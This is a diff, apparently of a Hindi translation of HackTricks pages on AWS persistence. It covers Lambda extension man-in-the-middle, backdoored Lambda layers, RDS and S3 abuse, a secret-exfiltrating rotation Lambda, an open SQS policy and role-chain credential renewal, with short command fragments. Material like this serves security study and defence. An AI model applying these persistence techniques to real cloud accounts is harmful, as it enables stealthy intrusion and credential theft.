- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं।
|
||||
- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**।
|
||||
- **आंतरिक एक्सटेंशन्स** रनटाइम प्रक्रिया के साथ मिलकर काम करती हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करती हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं।
|
||||
- **बाहरी एक्सटेंशन्स** अलग प्रक्रियाओं के रूप में चलती हैं, Lambda कार्य के जीवन चक्र के साथ संचालन संरेखण बनाए रखती हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**।
|
||||
|
||||
[**कैसे lambda extensions काम करते हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)।
|
||||
[**कैसे Lambda एक्सटेंशन्स काम करती हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)।
|
||||
|
||||
### स्थिरता, अनुरोध चुराने और अनुरोधों को संशोधित करने के लिए बाहरी एक्सटेंशन
|
||||
|
||||
यह इस पोस्ट में प्रस्तावित तकनीक का सारांश है: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को डिज़ाइन के अनुसार Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है।**
|
||||
यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है, डिजाइन के अनुसार।**
|
||||
|
||||
इसके अलावा, जबकि Lambda एक्सटेंशन **आह्वान घटनाओं की सदस्यता लेने** की क्षमता रखते हैं, AWS इन एक्सटेंशनों को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकते जो HTTP अनुरोध के माध्यम से भेजी जाती है।
|
||||
इसके अलावा, जबकि Lambda एक्सटेंशन्स **आह्वान घटनाओं की सदस्यता** लेने की क्षमता रखती हैं, AWS इन एक्सटेंशन्स को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन्स संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकतीं जो HTTP अनुरोध के माध्यम से भेजी जाती है।
|
||||
|
||||
Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन प्रारंभ होते हैं और किसी भी रनटाइम कोड के निष्पादन से पहले चलते हैं, लेकिन Rapid के बाद।
|
||||
Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन्स को प्रारंभ किया जाता है और किसी भी रनटाइम कोड के निष्पादन से पहले चलाया जाता है, लेकिन Rapid के बाद।
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API का **IP** पता और **पोर्ट** संख्या **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशनों को इंगित करता है।
|
||||
चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API के **IP** पते और **पोर्ट** नंबर को **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशन्स को इंगित करता है।
|
||||
|
||||
> [!WARNING]
|
||||
> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट संख्या को बदलना संभव होता है।
|
||||
> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट नंबर को बदलना संभव होता है।
|
||||
|
||||
क्योंकि **एक्सटेंशन किसी भी रनटाइम कोड से पहले चलते हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होता है। इसके अलावा, **हमारे बाद लोड किए गए एक्सटेंशन**, जो इस चर पर निर्भर करते हैं, वे भी हमारे एक्सटेंशन के माध्यम से रूट करेंगे। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशनों को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।
|
||||
क्योंकि **एक्सटेंशन्स किसी भी रनटाइम कोड से पहले चलती हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होती है। इसके अलावा, **हमारे बाद लोड की गई एक्सटेंशन्स**, जो इस चर पर निर्भर करती हैं, भी हमारे एक्सटेंशन के माध्यम से रूट होंगी। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशन्स को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से **संवेदनशील जानकारी चुराने** के लिए बनाया गया था, अन्य **एक्सटेंशनों** के **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए।
|
||||
उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से संवेदनशील जानकारी **चुराने**, अन्य **एक्सटेंशन्स** **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए बनाया गया था।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@@ -6,11 +6,11 @@
|
||||
|
||||
एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।
|
||||
|
||||
आप **प्रत्येक फ़ंक्शन के लिए पांच लेयर्स** तक शामिल कर सकते हैं। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
|
||||
एक फ़ंक्शन में **पाँच लेयर्स** तक शामिल करना संभव है। जब आप एक फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
|
||||
|
||||
**डिफ़ॉल्ट रूप से**, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन किसी अन्य खाते द्वारा प्रकाशित की गई लेयर का उपयोग करते हैं, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं, भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो**। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करके फ़ंक्शंस को अपडेट नहीं कर सकते।
|
||||
**डिफ़ॉल्ट** रूप से, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपयोग करते हैं जिसे एक अलग खाते ने प्रकाशित किया है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं** भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते।
|
||||
|
||||
कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैकेज करते हैं।
|
||||
कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैक करते हैं।
|
||||
|
||||
### Python load path
|
||||
|
||||
@@ -18,23 +18,23 @@ Python द्वारा lambda में उपयोग किया जा
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
चेक करें कि **दूसरे** और तीसरे **स्थान** पर वे निर्देशिकाएँ हैं जहाँ **lambda layers** अपनी फ़ाइलें अनकंप्रेस करती हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`**
|
||||
चेक करें कि **दूसरे** और तीसरे **स्थान** को उन निर्देशिकाओं द्वारा कब्जा किया गया है जहाँ **lambda layers** अपनी फ़ाइलों को अनकंप्रेस करते हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि एक हमलावर एक उपयोग की गई lambda **layer** में **बैकडोर** डालने में सफल हो जाता है या **एक ऐसा जोड़ता है** जो **एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा**, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा।
|
||||
|
||||
इसलिए, आवश्यकताएँ हैं:
|
||||
|
||||
- **चेक करें पुस्तकालय** जो **पीड़ित के कोड** द्वारा **लोड** किए गए हैं
|
||||
- **चेक करें पुस्तकालय** जो **पीड़ितों के कोड** द्वारा **लोड** किए गए हैं
|
||||
- एक **प्रॉक्सी लाइब्रेरी बनाएं जो lambda layers** के साथ **कस्टम कोड निष्पादित करेगी** और **मूल** पुस्तकालय को **लोड** करेगी।
|
||||
|
||||
### प्रीलोडेड पुस्तकालय
|
||||
|
||||
> [!WARNING]
|
||||
> इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई मिली: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\
|
||||
> जब इस तकनीक का दुरुपयोग करते समय मैंने एक कठिनाई पाई: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\
|
||||
> इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को **एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता** जब कोड निष्पादित होता है।
|
||||
|
||||
इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त की जाए जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में:
|
||||
इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त करें जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में:
|
||||
```python
|
||||
import sys
|
||||
|
||||
@@ -102,7 +102,7 @@ sys.modules["csv"] = _csv
|
||||
|
||||
- उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है)
|
||||
- **अपने खाते में** एक **लेयर** **बनाएं**, **पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें**, **पीड़ित की लैम्ब्डा में लेयर को कॉन्फ़िगर करें** और **अनुमति हटा दें**।
|
||||
- **लैम्ब्डा** अभी भी **लेयर का उपयोग कर सकेगा** और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)
|
||||
- **लैम्ब्डा** अभी भी **लेयर का उपयोग** कर सकेगा और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)
|
||||
- पीड़ित **`aws lambda list-layers`** के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा।
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### इंस्टेंस SSH कुंजी और DB पासवर्ड डाउनलोड करें
|
||||
### डाउनलोड इंस्टेंस SSH कुंजी और DB पासवर्ड
|
||||
|
||||
वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है
|
||||
|
||||
@@ -26,8 +26,8 @@
|
||||
|
||||
यदि डोमेन कॉन्फ़िगर किए गए हैं:
|
||||
|
||||
- एक उपडोमेन बनाएं जो आपके IP की ओर इशारा करता है ताकि आपके पास **subdomain takeover** हो
|
||||
- **SPF** रिकॉर्ड बनाएं जो आपको डोमेन से **emails** भेजने की अनुमति देता है
|
||||
- **मुख्य डोमेन IP को अपने स्वयं के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें
|
||||
- अपने IP की ओर इशारा करने वाला एक उपडोमेन बनाएं ताकि आपके पास **subdomain takeover** हो
|
||||
- डोमेन से **emails** भेजने की अनुमति देने वाला **SPF** रिकॉर्ड बनाएं
|
||||
- **मुख्य डोमेन IP को अपने खुद के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - RDS Persistence
|
||||
# AWS - RDS स्थिरता
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
|
||||
```
|
||||
### DB के अंदर एक एडमिन यूजर बनाएं
|
||||
|
||||
एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल दिया जाए तो भी वह **डेटाबेस तक पहुंच नहीं खोता**।
|
||||
एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल भी दिया जाए तो वह **डेटाबेस तक पहुंच नहीं खोता**।
|
||||
|
||||
### स्नैपशॉट को सार्वजनिक बनाएं
|
||||
```bash
|
||||
|
||||
@@ -10,15 +10,15 @@
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS क्लाइंट-साइड एन्क्रिप्शन
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा।
|
||||
इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा।
|
||||
|
||||
### S3 ACLs का उपयोग करना
|
||||
### Using S3 ACLs
|
||||
|
||||
हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए।
|
||||
|
||||
|
||||
@@ -16,9 +16,9 @@
|
||||
|
||||
### Secrets Rotate Lambda के माध्यम से
|
||||
|
||||
स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **निकाल** सकता है।
|
||||
स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **बाहर निकाल** सकता है।
|
||||
|
||||
इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड इस तरह दिख सकता है:
|
||||
यहाँ इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड ऐसा दिख सकता है:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
|
||||
@@ -63,7 +63,7 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
### Create Subscribers
|
||||
### Subscribers बनाएं
|
||||
|
||||
सभी विषयों से सभी संदेशों को निकालने के लिए हमलावर **सभी विषयों के लिए सब्सक्राइबर बना सकता है**।
|
||||
|
||||
|
||||
@@ -12,8 +12,8 @@
|
||||
|
||||
### संसाधन नीति का उपयोग करना
|
||||
|
||||
SQS में आपको IAM नीति के साथ यह संकेत देना होगा कि **किसके पास पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को संकेत देना संभव है।\
|
||||
निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ तक पहुँच देती है:
|
||||
SQS में आपको IAM नीति के साथ **यह बताना होगा कि किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को इंगित करना संभव है।\
|
||||
निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ एक्सेस करने की अनुमति देती है:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -32,6 +32,6 @@ SQS में आपको IAM नीति के साथ यह संके
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> आप हर बार जब कतार में एक नया संदेश डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> आप हर बार जब एक नया संदेश कतार में डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -22,13 +22,13 @@ aws sts get-session-token \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# हार्डवेयर डिवाइस का नाम आमतौर पर डिवाइस के पीछे का नंबर होता है, जैसे GAHT12345678
|
||||
<strong># SMS डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># वर्चुअल डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:mfa/username
|
||||
<strong># SMS डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># वर्चुअल डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जिसे अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
|
||||
[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जो अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग की जाती है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से प्रारंभिक भूमिका पर **चक्रीय तरीके से लौटते हुए**। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
|
||||
|
||||
आप इस [**उपकरण**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके रोल चेनिंग को जारी रख सकते हैं:
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user